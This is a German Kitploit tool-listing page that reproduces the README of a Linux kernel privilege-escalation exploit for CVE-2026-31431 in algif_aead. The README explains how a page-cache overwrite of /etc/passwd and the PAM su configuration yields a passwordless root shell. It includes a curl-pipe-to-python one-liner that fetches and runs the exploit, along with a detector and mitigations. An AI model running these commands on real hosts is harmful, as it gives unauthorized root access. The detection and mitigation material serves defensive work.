Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
Tools/GitHubGitHub/mfloresdacunha/cve-2026-31431
Privilege EscalationExploit-FrameworksSchwachstellenanalyseExploitationPenetrationstestsRed Teaming
GitHubmfloresdacunha/cve-2026-31431

CVE-2026-31431

Lokaler Privilege-Escalation-Exploit für CVE-2026-31431 im algif_aead des Linux-Kernels, der splice nutzt, um den Page Cache zu überschreiben und Root-Rechte zu erlangen. Enthält einen schreibgeschützten Detektor.

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen
Repository anzeigen
151vor 4 MonatenNoch nicht geprüft

CVE-2026-31431 — „Copy Fail“ Lokale Rechteausweitung

Überblick

CVE-2026-31431 ist eine lokale Rechteausweitungsschwachstelle im algif_aead-Subsystem des Linux-Kernels. Die authencesn-AEAD-Implementierung führt eine Entschlüsselung an Ort und Stelle über splice(2) durch und platziert dabei eine Page-Cache-Seite in der Ziel-Scatterlist. Ein 4-Byte-Wert aus der AAD (seqno_lo) wird in diese Page-Cache-Seite zurückgeschrieben, bevor das Authentifizierungstag verifiziert wird – wodurch ein nicht privilegierter Benutzer beliebige Bytes des Kernel-Page-Caches jeder weltweit lesbaren Datei überschreiben kann.

Verwundbar seit: Kernel 4.14 (August 2017) – als authesn in algif_aead eingeführt wurde
Fixes veröffentlicht für: nur die Stable-Linien 6.12, 6.17 und 6.18
Dauerhaft ungepatcht: Kernel 4.14–6.11 (EOL; kein Backport wird veröffentlicht)
Erforderliche Primitiven: AF_ALG-Socket, authesn(hmac(sha256),cbc(aes))-Chiffre, splice(2) in einen AF_ALG-Socket-fd
Auswirkung: Lokale Rechteausweitung auf root – vollautomatisch, kein Passwort erforderlich

So funktioniert es

Der Exploit wendet zwei Page-Cache-Patches nacheinander an und führt dann automatisch su aus:

  1. /etc/passwd-Patch – öffnet die Datei (weltweit lesbar), füllt ihren Page-Cache und nutzt dann die authesn-Splice-Primitive, um das 4-stellige UID-Feld des laufenden Benutzers auf 0000 zu setzen. Nach dem Patch meldet getpwnam() den Benutzer als UID 0.

  2. /etc/pam.d/su-Patch – pam_rootok.so und pam_permit.so sind beide exakt 13 Zeichen lang. Zwei 4-Byte-Schreibvorgänge ersetzen pam_rootok.so durch pam_permit.so im Page-Cache der PAM-Konfiguration. Da pam_permit immer PAM_SUCCESS zurückgibt, feuert die vorhandene Zeile auth sufficient sofort – es wird keine Passwortabfrage ausgegeben.

  3. Automatische Shell – das Skript führt aus. PAM authentifiziert ohne Passwort (Schritt 2), dann gelingt , weil UID 0 meldet (Schritt 1). Eine Root-Shell wird ohne Benutzerinteraktion zurückgegeben.

Zu keinem Zeitpunkt finden Schreibvorgänge auf die Festplatte statt. Das Verwerfen des Page-Caches (echo 3 > /proc/sys/vm/drop_caches) oder ein Neustart macht beide Patches vollständig rückgängig.

Verwendung

Nur für autorisierte Tests. Führen Sie dies nur auf Hosts aus, die Ihnen gehören oder für deren Bewertung Sie ausdrücklich beauftragt sind.

Einzeiler

root@kitploit:~
curl -sL https://raw.githubusercontent.com/mfloresdacunha/CVE-2026-31431/main/exploit.py | TARGET_USER=$(whoami) python3

Eine Root-Shell wird automatisch zurückgegeben – kein Passwort erforderlich.

Manuell

root@kitploit:~
git clone https://github.com/mfloresdacunha/CVE-2026-31431.git
cd CVE-2026-31431
TARGET_USER=$(whoami) python3 exploit.py

Bereinigung (aus der Root-Shell)

root@kitploit:~
echo 3 | tee /proc/sys/vm/drop_caches

Anforderungen

  • Linux-Kernel 4.14–6.18; insbesondere ungepatchte 4.14–6.11 (dauerhaft) oder 6.12/6.17/6.18 ohne den angewendeten Upstream-Fix
  • AF_ALG-Socket-Unterstützung aktiviert (bei den meisten Distributionen Standard)
  • authesn(hmac(sha256),cbc(aes)) ladbar (bei den meisten Distributionen Standard)
  • Python 3.6+
  • Eine 4-stellige UID (1000–9999)

Erkennung

test_cve_2026_31431.py ist ein sicherer, schreibgeschützter Detektor, der in diesem Repository enthalten ist. Er testet die algif_aead-Splice-Primitive gegen eine Wegwerf-Sentineldatendatei, die er in einem temporären Verzeichnis erstellt – keine Systemdatei wird jemals berührt. Er gibt ein Urteil aus und beendet sich mit einem klar definierten Exit-Code:

Exit-CodeBedeutung
0Nicht verwundbar – Vorbedingung nicht erfüllt oder Page-Cache wurde nicht modifiziert

Ausführen:

root@kitploit:~
# Einzeiler (keine Installation erforderlich)
curl -sL https://raw.githubusercontent.com/mfloresdacunha/CVE-2026-31431/main/test_cve_2026_31431.py | python3
echo "Exit code: $?"

# Oder aus einem lokalen Klon
git clone https://github.com/mfloresdacunha/CVE-2026-31431.git
cd CVE-2026-31431
python3 test_cve_2026_31431.py
echo "Exit code: $?"

Beispielausgabe auf einem verwundbaren Kernel:

root@kitploit:~
[*] CVE-2026-31431 detector  kernel=6.12.0-55-generic  arch=x86_64
[+] AF_ALG + 'authencsn(hmac(sha256),cbc(aes))' loadable - precondition met.
[!] VULNERABLE to CVE-2026-31431.
[!]   Marker b'PWND' (AAD seqno_lo) landed in the spliced page-cache page at offset 24.
[!]   Surrounding bytes: 00000000504d4e4400000000  (b'\x00\x00\x00\x00PWND\x00\x00\x00\x00')
[!] Apply the upstream fix or block algif_aead immediately.

Beispielausgabe auf einem gepatchten Kernel:

root@kitploit:~
[*] CVE-2026-31431 detector  kernel=6.12.0-55-generic  arch=x86_64
[+] AF_ALG + 'authencsn(hmac(sha256),cbc(aes))' loadable - precondition met.
[+] Page cache intact. NOT vulnerable on this kernel.

Gegenmaßnahmen

  • Wenden Sie den Upstream-Kernel-Patch an.
  • Blockieren Sie algif_aead über /etc/modprobe.d: install algif_aead /bin/false
  • Beschränken Sie AF_ALG-Sockets mit seccomp- oder LSM-Richtlinien.

Referenzen

  • Copy Fail Offenlegung
  • Upstream-Fix: net/tls + crypto/algif_aead – authesn-In-Place-Dst-Scatterlist-Isolation
Tool herunterladen
su <user>
setuid(0)
getpwnam()
1Testfehler (z. B. AF_ALG nicht verfügbar, splice nicht unterstützt)
2VERWUNDBAR – Markierungsbytes landeten in der gespliceten Page-Cache-Seite